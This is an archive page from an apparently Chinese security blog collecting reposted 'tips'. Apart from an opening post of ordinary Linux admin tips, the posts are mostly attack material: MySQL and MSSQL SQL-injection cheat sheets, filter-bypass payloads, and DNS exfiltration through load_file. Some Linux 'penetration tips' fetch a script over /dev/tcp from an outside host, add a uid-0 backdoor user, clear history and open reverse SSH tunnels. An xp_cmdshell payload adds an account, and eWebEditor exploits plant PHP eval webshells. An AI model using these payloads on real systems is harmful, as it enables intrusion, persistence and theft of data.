存档

‘小技巧’ 分类的存档

Linux小技巧收集[zz]

2011年6月11日 admin 没有评论

前言:因为用Linux的时间越来越长,所需要做的事也越来越多,效率成了我必需突破的瓶颈。在此总结一下这段时间用过的一些好的Linux技巧。以后时常补充这样自己要用的时候就很方便了。
Author:Ajian
[文本处理]
1、查看某文件的一部分
如果你只想看文件的前 5 行,可以使用 head 命令,
如:head -5 /etc/passwd
如果你想查看文件的后 10 行,可以使用 tail 命令,
如:tail -10 /etc/passwd
查看文件中间一段,可以使用 sed 命令
如:sed –n ’5,10p’ /etc/passwd 这样你就可以只查看文件的第 5 行到第 10 行

2、将 file.txt 里的123改为 456
方法 1
sed ‘s/123/456/g’ file.txt > file.txt.new 修改的保存到其它文件
sed -i ‘s/123/456/g’ file.txt 直接修改原文件
方法 2
vi file.txt
输入命令:
:%s/123/456/g
注意:如果替换的文件有特殊符号如/就要用\来取消。
例:sed -i ‘s/\/usr\/local\/apache2\/htdocs/\/var\/www\/html/g’ /usr/local/apache2/conf/httpd.conf
如果只是下原有的行后添加就用&
例:sed -i ‘s/DirectoryIndex index.html index.html.var/& index.htm index.php /g’ /usr/local/apache2/conf/httpd.conf
3、echo 典型应用
echo “abcdefg” | perl -lne ‘{$a = reverse($_); print $a;}’ 把一个字符串翻转
echo bottle|rev 把一个字符串翻转

[文件目录管理]
1、删除几天以前的所有东西(包括目录名和目录中的文件)
1) find . -ctime +3 -exec rm -rf {} \;
2) find ./ -mtime +3 -print|xargs rm -f –r

2、在多级目录中查找某个文件的方法
1) find /dir -name filename.ext
2) du -a | grep filename.ext
3) locate filename.ext

3、删除软硬连接注意点
删除软件连接的时候一定要记得不要在删除的文件夹后加一斜杠,
rm -f filename/
会说这是一个文件夹不能删除
rm filename
会提示说是否要删除这个连接。
如果用的第一种可能会把其它文件都删除

4、删除目录中含输入关键字的文件
find /mnt/ebook/ -type f -exec grep “在此输入关键字” {} \; -print -exec rm {} \;

5、在当前目录下解压 rpm 文件
cat kernel-ntfs-2.4.20-8.i686.rpm | rpm2cpio | pax –r

6、用命令清空 Root 回收站中的文件
cd /var/.Trash-root
rm -rf *

[系统与安全]
1、让用户的密码必须有一定的长度,并且符合复杂度
vi /etc/login.defs,修改 PASS_MIN_LEN

2、用 dat 查询昨天的日期
date –date=’yesterday’

3、修改系统时
1) 设置你的时区: timeconfig 里选择Asia/Shanghai (如果你位于 GMT+8 中国区域)
2) 与标准时间服务器校准: ntpdate time.nist.gov
date -s “2003-04-14 cst”,cst 指时区,时间设定用 date -s 18:10
修改后执行 clock -w 写到 CMOS
3) 将当前软件系统时间写入硬件时钟: hwclock –systohc
阅读全文…

分类: 小技巧 标签:

Mysql 另类盲注中的一些技巧

2011年3月2日 admin 没有评论

转:oldjun.com
—————————————————————————-

很多技巧从国外的paper学到的,不过国内没有多少人使用,所以发出来,笔记下~

一、order by 的参数注入技巧:
两种方法,思路都一样。

example. “select username,password from uc_members order by”.$_GET['oderby']

a.常见的利用方法:
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
返回错误:[Err] 1242 – Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
返回正常。

b.国外paper看到的方法:
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
返回错误:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
返回正常。

二、limit 的参数注入技巧:

a.order by之后的limit参数 的注入,因为正常的sql语句order by后无法接union,所以没有好办法,就一个鸡肋思路:into outfile ‘/www/root/xxx.php’;

b.limit前无order by时的注入,那就方便多了,后面可以直接接union select ,随便怎么注都行了:
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
这里还有个技巧,使用procedure analyse可以获取字段名称:
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
不过procedure analyse同样不能使用在order by之后:
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
[Err] 1386 – Can’t use ORDER clause with this procedure

三、无法猜测字段时的技巧:

在mysql5以下版本或者information_schema 无法访问的时候,无法猜到某个表的字段名,于是可以采用这个办法,在子查询中使用%0,报错获得列名。以ucenter的uc_members为例。

1.猜测列数:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
返回错误:#1241 – Operand should contain 12 column(s)
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回正常。
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回错误:#1048 – Column ‘uid’ cannot be null
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
返回错误:#1048 – Column ‘username’ cannot be null
5. ……

注:5.1以上版本不适用,字段必须为非空(not null)

四、windows下利用dns解析盲注的技巧:

如果盲注很累,或者页面无论and 1=1还是and 1=2的时候返回都一模一样,这个时候利用dns进行注入是个不错的方法,前提是win环境root权限下的mysql,利用load_file函数读取远程文件的思路。本地搭建一个dns服务器,然后将特定域名的NS server转过来。然后进行注入,并抓包。

本地测试了下(实际注入中单引号可以编码):select load_file(concat(‘\\\\aaa1.’,(select user()),’.oldjun.com\\a.txt’)),抓包成功获得select的结果:
29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost.oldjun.com

如图所示:

mysql错误信息的利用

2011年3月2日 admin 没有评论

在很多的情况 下我们不能直接方便的进行注入,于是有了BENCHMARK延迟注射;
如果能得到MySQL的错误信息的话(必须是程序主动输出mysql错误,php中是调用mysql_error(),其他脚本可能有自己的函数),现在又有了更方便的方法。
网上流传了两三种方法:
=========================================================================

第一种略,略过了,低版本mysql适用

http://hi.baidu.com/toby57/blog/item/26416060c1d92c48eaf8f839.html

=========================================================================

第二种:

SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT ‘x’))a from information_schema.tables group by a)b;

ERROR 1062 (23000): Duplicate entry ’1x’ for key ‘group_key’

这种方法对MySQL版本没什么要求,但只能爆出64字节的数据,用这种方法遇到大数据只能MID慢慢来了。

(select 1 from (select count(*),concat((+++),floor(rand(0)*2))x from information_schema.tables group by x)k)

=========================================================================

第三种:

通过对ExtractValue和updataxml函数传递不合XPATH语法规则的参数来爆出数据。(只针对MySQL 5.1++,低于5.1的无此函数)

SELECT 1 AND ExtractValue(1, CONCAT(0x5c,(SELECT @@VERSION)))

ERROR 1105 (HY000): XPATH syntax error: ‘\5.1.40-community’

SELECT 1 FROM dede_admin WHERE updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a,MID(pwd,4,16),0x5d) FROM dede_admin),1);

ERROR 1105 (HY000): XPATH syntax error: ‘[admin:7a57a5a743894a0e]‘

updatexml(1,CONCAT(0x5c,(SELECT @@VERSION)),1);

比上一种方法方便简洁,不过这方法只能爆出32字节的数据。同样,大数据只能Mid了。

百度一下这两个函数:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)。
作用:从目标XML中返回包含所查询值的字符串
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

linux渗透小技巧

2010年12月29日 admin 没有评论

1.无wget nc等下载工具时下载文件
exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e “GET /c.pl HTTP/1.0\n” >&5 && cat<&5 > c.pl

2.Linux添加uid为0的用户
useradd -o -u 0 cnbird

3.bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null

4.SSH反向链接
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip -p 指定远端服务器SSH端口
然后服务器上执行ssh localhost   -p 44即可

5.weblogic本地读取文件漏洞
curl -H “wl_request_type: wl_xml_entity_request” -H “xml-registryname: ../../” -H “xml-entity-path: config.xml” http://server/wl_management_internal2/wl_management

6.apache查看虚拟web目录
./httpd -t -D DUMP_VHOSTS

7.cvs渗透技巧
CVSROOT/passwd   UNIX SHA1的密码文件
CVSROOT/readers
CVSROOT/writers
CVS/Root  
CVS/Entries     更新的文件和目录内容
CVS/Repository

阅读全文…

分类: 小技巧 标签:

内网渗透中SSh的巧用ring04h

2010年12月29日 admin 没有评论

在渗透测试过程中,经常遇到如下情形,内部网络主机通过路由器或者安全设备做了访问控制,无法通过互联网直接访问本地开放的服务,Windows方 面,国内通常选择Lcx.exe来进行端口转发,在应用方面大多数人也会选择reDuh来进行端口转发,而*nix却很少人用系统自带的ssh、 iptables自身来处理此类问题。
由于时间有限,本文只详细的介绍ssh tunnel方面的知识,iptables的有空在加上。

SSH的三个端口转发命令:
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host

-f Fork into background after authentication.
后台认证用户/密码,通常和-N连用,不用登录到远程主机。

-p port Connect to this port. Server must be on the same port.
被登录的ssd服务器的sshd服务端口。

阅读全文…

分类: 小技巧 标签:

如何绕过防止注入的技巧方法

2010年12月21日 admin 没有评论

突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和 “=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……

经过我的收集,大部分的防注入程序都过滤了以下关键字:

and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =

而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。

对于关键字的过滤,以下是我收集的以及我个人的一些想法。

1、运用编码技术绕过

如URLEncode编码,ASCII编码绕过。例如or 1=1即

%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通过空格绕过

如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如

or’ swords’ =‘swords’
,由于mssql的松散性,我们可以把or ‘swords’ 之间的空格去掉,并不影响运行。

3、运用字符串判断代替

用经典的or 1=1判断绕过,如

or ‘swords’ =’swords’
,这个方法就是网上在讨论的。

4、通过类型转换修饰符N绕过

可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ‘swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

5、通过+号拆解字符串绕过

效果值得考证,但毕竟是一种方法。如

or ‘swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ‘+’ …..’ )

6、通过LIKE绕过

以前怎么就没想到呢?如or

‘swords’ LIKE ‘sw’
!!!显然可以很轻松的绕过

“=”“>”
的限制……

7、通过IN绕过

与上面的LIKE的思路差不多,如

or ‘swords’ IN (‘swords’)

8、通过BETWEEN绕过

or ‘swords’ BETWEEN ‘rw’ AND ‘tw’

9、通过>或者<绕过

or ‘swords’ > ‘sw’
or ‘swords’ < ‘tw’
or 1<3

……

10、运用注释语句绕过

用/**/代替空格,如:

UNION /**/ Select /**/user,pwd,from tbluser

用/**/分割敏感词,如:

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser

11、用HEX绕过,一般的IDS都无法检测出来

0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)

另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:

  declare @a sysname
  select @a=
  exec master.dbo.xp_cmdshell @a

效果

http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% 20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c00200070006100730073002000

2f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;–

其中的

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00

610064006400
就是

“net user angel pass /add”
的意思。

——————————————————————

1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通过空格绕过
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
or’ swords’ =‘swords’,由于mssql的松散性,我们可以把or ‘swords’ 之间的空格去掉,并不影响运行。

3、运用字符串判断代替
用经典的or 1=1判断绕过,如or ‘swords’ =’swords’,这个方法就是网上在讨论的。

4、通过类型转换修饰符N绕过
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ‘swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

5、通过+号拆解字符串绕过
效果值得考证,但毕竟是一种方法。如or ‘swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ‘+’ …..’ )

6、通过LIKE绕过
以前怎么就没想到呢?如or’swords’ LIKE ‘sw’!!!显然可以很轻松的绕过“=”“>”的限制……

7、通过IN绕过
与上面的LIKE的思路差不多,如or ‘swords’ IN (‘swords’)

8、通过BETWEEN绕过
如or ‘swords’ BETWEEN ‘rw’ AND ‘tw’

9、通过>或者<绕过
or ‘swords’ > ‘sw’
or ‘swords’ < ‘tw’
or 1<3
……

10、运用注释语句绕过
用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser
用/**/分割敏感词,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser

11、用HEX绕过,一般的IDS都无法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)

分类: 小技巧 标签:

替换 某固定字符前面的 所有内容

2010年12月15日 admin 没有评论

以下语句是替换:”~”前的所有内容

@echo off
for /f “tokens=2 delims=~” %%i in (a.txt) do echo %%i>>b.txt
pause

删除 某固定字符后面的 所有内容

@echo off
for /f “tokens=1 delims=2″ %%i in (1.txt) do echo %%i>>2.txt
pause

分类: 小技巧 标签:

Mssql显错和不显错模式下的注入

2010年12月12日 admin 没有评论

Mssql注释符:
#      - -

显错模式的:

判断是否支持多行
;declare @x int–

查看当前数据库版本
URL?id=13 and @@version>0–

查看当前连接数据库用户
URL?id=13 and user>0–

查看当前数据库名
URL?id=13 and db_name()>0–

爆数据库名
URL?id=13 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))–

//dbid<7的为系统库名

爆当前数据库表名
URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype=’U’))–
URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype=’U’ and name not in (‘表名1′,’表名2′)))–

爆其他数据库表名
URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype=’u’ ))–
URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype=’u’ and name not in (‘表名1′,’表名2′)))–

爆字段名
URL?id=13 having 1=1–
URL?id=13 group by 表名.字段名1,字段名2 having 1=1–

爆其他表的字段名
URL?id=13 select * from 表名 having 1=1–
URL?id=13 select * from 表名 group by 表名.字段名1,字段名2 having 1=1–

爆数据
URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名))–
URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名 where 字段名 not in (‘数据1′,’数据2′))–
URL?id=13 and 1=convert(int,(select top1 字段名 from 表名 where 字段名!=’数据1′ and 字段名!=’数据2′–
//也可以用where语句

不显错模式

URL?id=13 order by 字段数
URL?id=13 and 1=2 union select ?,?,?,?,?–

查询数据库版本和系统版本
URL?id=13 and 1=2 union select ?,?,?,@@version–

查询数据库用户名
URL?id=13 and 1=2 union select ?,?,?,(select user)–
URL?id=13 and 1=2 union select ?,?,?,(select system_user)–

查询主机名
URL?id=13 and 1=2 union select ?,?,?,(select host_name())–

查询数据库名
URL?id=13 and 1=2 union select ?,?,?,(select db_name())–

判断存储扩展xp_cmdshell
URL?id=13 and 1=2 union select ?,?,?,(select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’)–
//1为存在,0为不存在

判断当前数据库用户权限
URL?id=13 and 1=2 union select ?,?,?,(select is_srvrolemember(‘sysadmin’))–

查询数据库名
URL?id=13 and 1=2 union select ?,?,?(select name from master.dbo.sysdatabases where dbid=7)–
//dbid<7的为系统数据库名

查询数据库表名
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=’U’)–
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=’U’ and name not in (‘表名1′,’表名2′))–

查询字段名
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id(‘表名’)–
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id(‘表名’) and name not in(‘字段名1′,’字段名2′)–

查询数据
URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名)–
URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名 where 字段名 not in (‘数据1′,’数据2′)–

其他的语句

爆表名
URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=’u’ and name not in(select top 0 name from sysobjects where xtype=’u’)) from sysobjects–
//接着查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了

爆其他数据库表名
URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from [数据库名]..sysobjects where xtype=’u’ and name not in(select top 0 name from [数据库名]..sysobjects where xtype=’u’)

爆字段
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from syscolumns where id in (select id from sysobjects where name=’表名’) and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name=’表名’))) from sysobjects–
//从0开始增加第二个top N的数字就可以遍历admin表的字段名了

查询数据

URL?id=13 URL?id=13 and 1=2 union select top 1 ?,?,字段名 from 表名 where name not in (select top 0 name from 表名)–

http://hi.baidu.com/yanyueoo7/blog/item/1760e3c65ee6ba5ab219a827.html

Ewebeditor/ASP/ASPX/PHP各版本漏洞

2010年12月12日 admin 没有评论

来源: http://www.cnredhat.com/?action=show&id=9

eWebEditorTM 是什么? 在线HTML编辑器!
eWebEditor 是基于浏览器的、所见即所得的在线HTML编辑器。她能够在网页上实现许多桌面编辑软件(如:Word)所具有的强大可视编辑功能。WEB开发人员可以用她把传统的多行文本输入框<TEXTAREA>替换为可视化的富文本输入框,使最终用户可以可视化的发布HTML格式的网页内容。 eWebEditor!已基本成为网站内容管理发布的必备工具!

如果有兴趣的话去官方了解详情:http://www.ewebeditor.net/

先说重点吧,这个编辑器按脚本分主要有3个版本,ASP/ASPX/PHP/ 每个版本都可以利用的

先说下FCKeditor的:

/admin/FCKeditor/editor/filemanager/browser/default/browser.html?type=image&connector=connectors/asp/connector.asp

可建目录。

ASP版:

这个版本其实个人感觉是影响最大,使用最多的一个了吧,早期很多asp站都用这个,当然现在也是大量的存在的。。。

怎么利用呢?一般用这个的默认后台的URL都是默认的:

www.xxx.com/admin/ewebeditor/admin_login.asp

而且账户和密码也基本都是默认的:admin admin

对于找这个路径还有个简单的方法,就是在他站上新闻或者其他板块上找图片,看图片的URL也是可以找到的,不明白的自己试下就知道了

还有如果默认的账户和密码修改了,我们可以下载他的数据库,然后本地破解MD5了

默认数据库:

…/db/ewebeditor.mdb 或者 …/db/ewebeditor.asp

一般下载数据库后打开察看就可以了,然后后台登陆,新加样式。。。上传ASA马。。。

有的站数据库设置了只读属性,这样的站你是无法新加样式的,这样的站你可以看他数据库里的样式设置情况,一般很多时候都是让人给拿过的,而且明显的asa在那里。。。呵呵,这样的话就可以直接构造一个调用这个样式的连接来上传shell

比如发现数据库里有样式 123 他设置的是可以上传asa的话

那么就可以这样调用:

http://www.xxx.com/eWeb/eWebEditor.asp?id=contentCN&style=123

这样就可以直接上传了,然后在点“编辑”就会找到shell的路径了

其实这个漏洞主要是upload.asp的过滤不严造成的,新版的应该都修复了,具体受影响的版本我也没统计过

另外在公布另外一个ewebeditor的漏洞

漏洞文件:Admin_Private.asp
漏洞语句:

<%

If Session(“eWebEditor_User”) = “” Then
Response.Redirect “admin_login.asp”
Response.End
End If

只判断了session,没有判断cookies和路径的验证问题。
漏洞利用:
新建一个mrchen.asp内容如下:
<%Session(“eWebEditor_User”) = “11111111″%>
访问mrchen.asp,再访问后台任何文件,for example:Admin_Default.asp

这个拿shell的方法就简单了,不详细说了

ASPX版:

受影响文件:eWebEditorNet/upload.aspx

利用方法:添好本地的cer的Shell文件。在浏揽器输入javascript:lbtnUpload.click();就能得到shell,具体大家自己尝试,不明白的联系我,或者留言

/ftb.imagegallery.aspx?frame=1&rif=..&cif=\..\..\..\..\..\..\.. 可以浏览目录。
PHP版

关于eWebEditor 漏洞php版本的和asp的一样。有目录浏览。和编辑扩展名。重点在于虽然支持了php格式但上传还是上传不了。不过利用织梦的gif89a漏洞倒可以实现php一句话上传,然后再上传webshell。

备注:织梦的gif89a漏洞,准确来说应该是DEDECMS中所用的php版的FCKeditor存在上传漏洞,gif89a文件头欺骗。DEDECMS中在上传拖上没有对picSubmit进行任何处理。但是却不能直接上传php马。因为会识别。使用修改过的php小马。

gif89a

<?php

phpinfo();

?>

RFI

gif89a

<?php

eval($_POST[c]);

?>

利用gif89a进行了欺骗。现在上传就可以成功了.然后有php一句话客户端连接.
JSP版
上传漏洞

影响版本:漏洞存在于ewebeditor jsp版 1.4以下版本,漏洞有两个版本。

原理:第一个是使用savefile.jsp来进行文件上传操作的,从代码中可以看出,程序并没做任何上传过滤,这样我们就可以直接上传一个JSPShell了。另一个版本可能是被人修改过,把代码转成了servlet,不能看到代码,但是利用方法却大同小异。

利用方法:我们先找一个1.4版本以下的ewebeditor JSP上传页面,选择好一个JSPShell。这个ewebeditor是没有提交按钮的,所以这里涉及到一个小技巧,就是在上传的对话框中敲下回车,大约过半分钟,就可以查看网页的源文件来寻找我们的Webshell了。
解决方法

1.修改admin密码;

2.upload.asp中的:

“任何情況下都不允许上传asp脚本文件sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)

改为:

“任何情況下都不允许上传asp脚本文件

sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)

sAllowExt = Replace(UCase(sAllowExt), “ASA”, “”)

sAllowExt = Replace(UCase(sAllowExt), “CER”, “”)

sAllowExt = Replace(UCase(sAllowExt), “AASPSP”, “”)

sAllowExt = Replace(UCase(sAllowExt), “CDX”, “”)

sAllowExt = Replace(UCase(sAllowExt), “HTR”, “”)

3. Admin_Private.asp:

If Session(”eWebEditor_User”) = “” Then

Response. Redirect “admin_login.asp”

Response. End

End If

改为:

If Session(”eWebEditor_User”) = “” and IsSelfRefer() Then

Response.Redirect “admin_login.asp”

Response.End

End If

4.将db/ewebeditor.mdb数据库文件名改为其他包含#等字符的文件名;

5. 将IIS中的“应用文件映射”中的“asp”删除;

6. 仍有问题删除admin_login.asp文件。

Tags: ewebeditor, asp, php, aspx, jsp

分类: 小技巧 标签:

Linux渗透技巧+实战

2010年12月7日 admin 没有评论

一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2
有密码形式
ldapsearch -x -W -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2
有密码形式
ldapsearch -x -W -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b “dc=ruc,dc=edu,dc=cn” -s sub “objectclass=*”
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
cn: manager
阅读全文…